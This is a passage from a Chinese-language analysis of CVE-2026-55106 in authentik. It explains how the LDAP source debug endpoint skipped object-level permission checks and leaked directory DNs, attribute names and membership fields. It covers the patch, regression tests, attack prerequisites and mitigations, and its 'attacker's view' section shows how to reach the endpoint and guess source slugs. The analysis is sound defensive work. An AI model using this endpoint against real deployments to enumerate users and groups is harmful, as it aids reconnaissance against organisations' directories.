if server_kwargs.get("get_info", ALL) == NONE:
LOGGER.warning("Failed to connect after schema downgrade", source=self, exc=exc)
raise exc
LOGGER.warning("Downgrading connection to no schema info", source=self, exc=exc)
server_kwargs["get_info"] = NONE
return self.connection(server, server_kwargs, connection_kwargs)
finally:
if conn.server.tls.certificate_file is not None and exists(
conn.server.tls.certificate_file
):
rmtree(dirname(conn.server.tls.certificate_file))
return RuntimeError("Failed to bind")这里最好把两层语义分开看。
第一层是“连接去哪儿”:self.server(...) 和 server_uri 决定 LDAP 服务器位置、TLS 和相关连接参数。
第二层是“以谁的身份去连”:bind_cn 和 bind_password 被直接塞进 Connection(...),然后执行 bind()。
这也是这条漏洞链最敏感的地方。攻击者自己并没有 LDAP 凭据,但只要能越权取到 source,就能让 authentik 替他完成一次用既有 bind 身份发起的 LDAP 查询。
6.6 三个 synchronizer 各自到底查了什么
6.6.1 用户同步器
用户同步器里的 get_objects() 很直接:
代码片段 10:用户同步器按正式用户同步配置去取样本,而不是额外写一套 debug 专用查询。
class UserLDAPSynchronizer(BaseLDAPSynchronizer):
"""Sync LDAP Users into authentik"""
@staticmethod
def name() -> str:
return "users"
def get_objects(self, **kwargs) -> Generator:
if not self._source.sync_users:
self._task.info("User syncing is disabled for this Source")
return iter(())
return self.search_paginator(
search_base=self.base_dn_users,
search_filter=self._source.user_object_filter,
search_scope=SUBTREE,
attributes=[
ALL_ATTRIBUTES,
ALL_OPERATIONAL_ATTRIBUTES,
self._source.object_uniqueness_field,
],
**kwargs,
)这说明 users 样本不是泛泛地“找点用户数据”,而是按这份 Source 的正式用户同步配置去查:
- 从
base_dn_users开始 - 用
user_object_filter做筛选 - 请求标准属性、操作属性,以及唯一标识字段
所以回包里出现 uid=alice,... 这类条目,不是巧合,而是同步器按正式用户搜索参数取回来的对象。
6.6.2 组同步器
组同步器与用户同步器平行:
代码片段 11:组同步器沿用的是正式组同步的搜索范围和过滤条件。
class GroupLDAPSynchronizer(BaseLDAPSynchronizer):
"""Sync LDAP Users and groups into authentik"""
@staticmethod
def name() -> str:
return "groups"
def get_objects(self, **kwargs) -> Generator:
if not self._source.sync_groups:
self._task.info("Group syncing is disabled for this Source")
return iter(())
return self.search_paginator(
search_base=self.base_dn_groups,
search_filter=self._source.group_object_filter,
search_scope=SUBTREE,
attributes=[
ALL_ATTRIBUTES,
ALL_OPERATIONAL_ATTRIBUTES,
self._source.object_uniqueness_field,
],
**kwargs,
)所以 groups 数组本质上是在回答一个问题:如果管理员正常运行组同步,这个 Source 会去哪儿、按什么条件查组、并看见哪些组对象。
6.6.3 成员关系同步器
成员关系同步器比前两个更值得展开,因为它解释了为什么回包里会出现成员关系字段信息。
它的 get_objects() 先决定要请求哪些属性:
代码片段 12:成员关系同步器最关键的不是“再查一遍组”,而是明确暴露了这份 Source 用哪个字段解释 membership。
class MembershipLDAPSynchronizer(BaseLDAPSynchronizer):
"""Sync LDAP Users and groups into authentik"""
@staticmethod
def name() -> str:
return "membership"
def get_objects(self, **kwargs) -> Generator:
if not self._source.sync_groups:
self._task.info("Group syncing is disabled for this Source")
return iter(())
# If we are looking up groups from users, we don't need to fetch the group membership field
attributes = [self._source.object_uniqueness_field, LDAP_DISTINGUISHED_NAME]
if not self._source.lookup_groups_from_user:
attributes.append(self._source.group_membership_field)
return self.search_paginator(
search_base=self.base_dn_groups,
search_filter=self._source.group_object_filter,
search_scope=SUBTREE,
attributes=attributes,
**kwargs,
)这说明 membership 并不是另一个独立目录,而是围绕“组对象如何表达成员关系”做的补充查询。在常见 lookup_groups_from_user=False 场景下,group_membership_field 也会被请求回来,所以攻击者能直接看见这份 Source 用哪个字段解释成员关系。在这次复现环境里,这个字段就是 member。
如果启用了 lookup_groups_from_user=True,它还会反过来根据组 DN 拼过滤器:
代码片段 13:在另一条分支里,成员关系同步器甚至会基于组 DN 再发一次用户搜索,说明这不是展示层拼装,而是真实的二次 LDAP 检索。
for group_data in page_data:
if self._source.lookup_groups_from_user:
group_dn = group_data.get("dn", {})
escaped_dn = escape_filter_chars(group_dn)
group_filter = f"({self._source.group_membership_field}={escaped_dn})"
group_members = self._source.connection().extend.standard.paged_search(
search_base=self.base_dn_users,
search_filter=group_filter,
search_scope=SUBTREE,
attributes=[self._source.object_uniqueness_field],
)
members = []
for group_member in group_members:
group_member_dn = group_member.get("dn", {})
members.append(group_member_dn)这一点进一步说明,成员关系同步器不是展示层小逻辑,而是会继续驱动真实 LDAP 检索。
6.7 为什么 debug 的返回值仍然接近“正式目录视图”
返回前只做了两步裁剪:
obj.pop("raw_attributes", None)
obj.pop("raw_dn", None)它删掉的是更底层的原始副本字段,但没有改变对象是怎么取回来的,也没有改变顶层结构仍然来自正式同步器。因此回包里保留下来的 dn、attributes、type 仍然足以反映:
- 目录结构
- 命名规范
- 属性名集合
- 组成员关系字段
- 同步逻辑对对象类型的理解方式
所以这不是“看起来像 debug 输出就不敏感”的数据,而是“经过少量裁剪的正式同步样本”。
7. 为什么“只返回 DN 和属性名”仍然值得重视
这个漏洞很容易被低估,因为它通常不会直接回显属性值,第一眼看上去像“只是 debug 信息泄露”。
但从回包结构看,攻击者至少能稳定得到:
- 真实 DN,例如
uid=alice,ou=users,dc=example,dc=org - 真实组 DN,例如
cn=engineering,ou=groups,dc=example,dc=org - 属性名,例如
mail、member、userPassword、entryUUID - 用户、组、成员关系三类对象是否存在
不过这里有两个边界还是要讲清楚。
第一,回包里出现 userPassword,不代表密码值或 hash 被直接返回。当前能确认的是“这个属性名存在”,而不是属性值泄露。
第二,raw_attributes 和 raw_dn 在返回前已被删掉,说明接口确实做了裁剪;但裁剪后的元数据仍然足够支持后续侦察。在常见以 uid=、cn= 组织 DN 的目录里,这些信息往往已经能进一步支持:
- 用户名样本收集
- 目录树结构识别
- 组关系和成员字段推测
- LDAP 字段风格识别
更准确的定性是:它不是高破坏性的直接敏感值泄露,但确实是一类高价值目录元数据泄露。
8. 补丁分析
2026.5.4 -> 2026.5.5 的核心修复只有一行,小到几乎会被忽略:
代码片段 14:补丁虽然只有一行,但它改的是 detail action 的对象解析语义,不是末端的输出格式。
@@
@extend_schema(
responses={
200: inline_serializer(
"LDAPDebugSerializer",
fields={
"user": ListField(child=DictField(), read_only=True),
"group": ListField(child=DictField(), read_only=True),
"membership": ListField(child=DictField(), read_only=True),
},
),
}
)
- @action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
+ @action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[ObjectFilter])
def debug(self, request: Request, slug: str) -> Response:
"""Get raw LDAP data to debug"""
source = self.get_object()
all_objects = {}2026.2.5 -> 2026.2.6 做的是同样的修复。
从补丁语义上看,脆弱版本把 debug 明确排除在 ObjectFilter 之外,修复版本则把它挂回 filter_backends=[ObjectFilter]。
这个补丁看起来很小,但它正好打在根因上。官方没有额外给 debug 写一套专用鉴权,而是直接把它拉回现有的对象权限模型。这样的修法很克制,好处也很直接:
- 逻辑短
- 审计成本低
- 不会引入一套新的权限分支
- 更容易通过回归测试固定安全语义
8.1 回归测试补得也很到位
修复版本把成功路径和两个拒绝路径都写进了测试里,源码如下:
@apply_blueprint("system/sources-ldap.yaml")
def test_sync_debug(self):
user = create_test_admin_user()
self.client.force_login(user)
source: LDAPSource = LDAPSource.objects.create(
name=generate_id(),
slug=generate_id(),
base_dn="dc=goauthentik,dc=io",
additional_user_dn="ou=users",
additional_group_dn="ou=groups",
)
source.user_property_mappings.set(
LDAPSourcePropertyMapping.objects.filter(
Q(managed__startswith="goauthentik.io/sources/ldap/default")
| Q(managed__startswith="goauthentik.io/sources/ldap/ms")
)
)
connection = MagicMock(return_value=mock_ad_connection())
with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
res = self.client.get(
reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
)
self.assertEqual(res.status_code, 200)
body = loads(res.content.decode())
self.assertIn("users", body)
self.assertIn("groups", body)
self.assertIn("membership", body)
def _create_debug_source(self) -> LDAPSource:
return LDAPSource.objects.create(
name=generate_id(),
slug=generate_id(),
base_dn="dc=goauthentik,dc=io",
additional_user_dn="ou=users",
additional_group_dn="ou=groups",
)
@apply_blueprint("system/sources-ldap.yaml")
def test_debug_denied_for_anonymous(self):
"""debug must enforce RBAC: an anonymous caller may not read LDAP data."""
source = self._create_debug_source()
# NOTE: no self.client.force_login() -> caller is AnonymousUser
connection = MagicMock(return_value=mock_ad_connection())
with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
res = self.client.get(
reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
)
self.assertEqual(res.status_code, 403)
@apply_blueprint("system/sources-ldap.yaml")
def test_debug_denied_for_unauthorized_user(self):
"""debug must enforce RBAC: a user without view_ldapsource may not read LDAP data."""
source = self._create_debug_source()
# Authenticated, but holds no permission on the source object
self.client.force_login(create_test_user())
connection = MagicMock(return_value=mock_ad_connection())
with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
res = self.client.get(
reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
)
self.assertEqual(res.status_code, 403)这三条测试合起来,把预期语义钉得很清楚:
- 匿名调用者应返回
403。 - 已认证但无对象权限的调用者也应返回
403。 - 有权限的用户仍然可以使用
debug。
图 2:测试矩阵实际上固定了三种主体的安全语义。后面哪怕有人再次把权限链拆掉,CI 也会先响。
管理员 / 有权限用户 -> 200 -> 允许调试
匿名用户 -> 403 -> 禁止读取 LDAP 样本
已登录但无对象权限用户 -> 403 -> 禁止读取 LDAP 样本9. 攻击者视角复盘
9.1 最小利用前提
条件 | 是否必须 |
目标实例配置了至少一个 LDAP Source | 是 |
攻击者能访问 authentik API | 是 |
攻击者知道或可猜测某个 Source | 是 |
LDAP 凭据 | 否 |
管理员权限 | 否 |
9.2 收益边界
收益 | 结论 |
用户枚举 | 视目录 DN 命名习惯而定,常见 |
组名枚举 | 视目录 DN 命名习惯而定,常见 |
成员关系侦察 | 部分可,至少可确认相关组对象、成员字段和命名结构 |
bind 密码直接泄露 | 不可 |
属性值批量泄露 | 本地复现和官方公告都不支持这个结论 |
直接实例接管 | 不能从本文证据直接推出 |
9.3 slug 不是可靠防线
这类问题常见的低估方式是:“还得知道 slug,门槛不算低。”这当然算一个利用前提,但很难算安全边界,因为:
slug往往来自具名配置对象,命名习惯通常可预测- 文档、测试、日志或截图里都可能间接暴露它
- 很多环境会使用类似
corp-ldap、main-ldap、ad、employees这类低熵命名
因此,slug 更像是利用门槛,不是防护措施。
10. 防守方应该怎么处理
10.1 首选方案
升级到修复版本:
2026.5.52026.2.6
10.2 升级前的临时缓解
如果短期内不能升级,至少应在反向代理、WAF 或 Ingress 层限制该调试接口:
- 仅允许管理网段访问
/api/v3/sources/ldap/*/debug/ - 如果业务上不需要,对外网直接阻断该路径
- 一并审视其他“preview / test / debug”类接口是否也暴露在公网
10.3 事后排查的关注点
如果需要追溯利用痕迹,可以重点检查:
/api/v3/sources/ldap/<slug>/debug/的访问日志- 未携带认证信息却返回
200的请求 - 同一来源对多个
slug的快速探测 - 来自扫描器 UA、异常出口 IP 或公开互联网的调试接口访问
11. 对代码审计的启示
这个案例很适合沉淀成一条可迁移的审计思路,因为它不是 authentik 独有的写法问题,而是很多 DRF 项目都会踩到的边界误判。
11.1 对 DRF 项目的检查点
重点看三件事:
@action(detail=True, ...)是否覆写了filter_backends。- 方法体里是否调用了
self.get_object()。 - 取到对象后是否立刻触发了外部访问、调试预览、测试连接或其他敏感动作。
如果这三点同时出现,而且当前 action 的过滤链又明显弱于同类 action,就很值得继续深挖。
11.2 本文对应的本地查询
当前工作区里已经固化了两条和本文直接相关的 CodeQL 查询:
codeql-queries/cve-2026-55106/filter_backends_empty.qlcodeql-queries/cve-2026-55106/debug_chain.ql
第一条查询抓的是危险入口形状:detail action + filter_backends=[] + self.get_object()。
第二条查询抓的是最短执行链:self.get_object() 之后继续走 get_objects(...)。
它们未必能直接判定漏洞,但足够把“对象级授权链可能被 action 配置削弱”的候选点批量筛出来。
12. 结语
CVE-2026-55106 没有复杂的利用技巧,价值恰恰在于它足够典型。一个本来用于管理调试的 detail action,只因为脱离了既有对象权限过滤,就变成了外部可利用的目录元数据泄露点。
从工程角度看,最值得记住的不是那一行补丁本身,而是这条边界:任何会驱动 LDAPSource 这类外部连接对象执行敏感动作的接口,都应该先在对象级授权之后再解析对象。这个顺序一旦反过来,后续业务逻辑写得再规整,风险也已经成立了。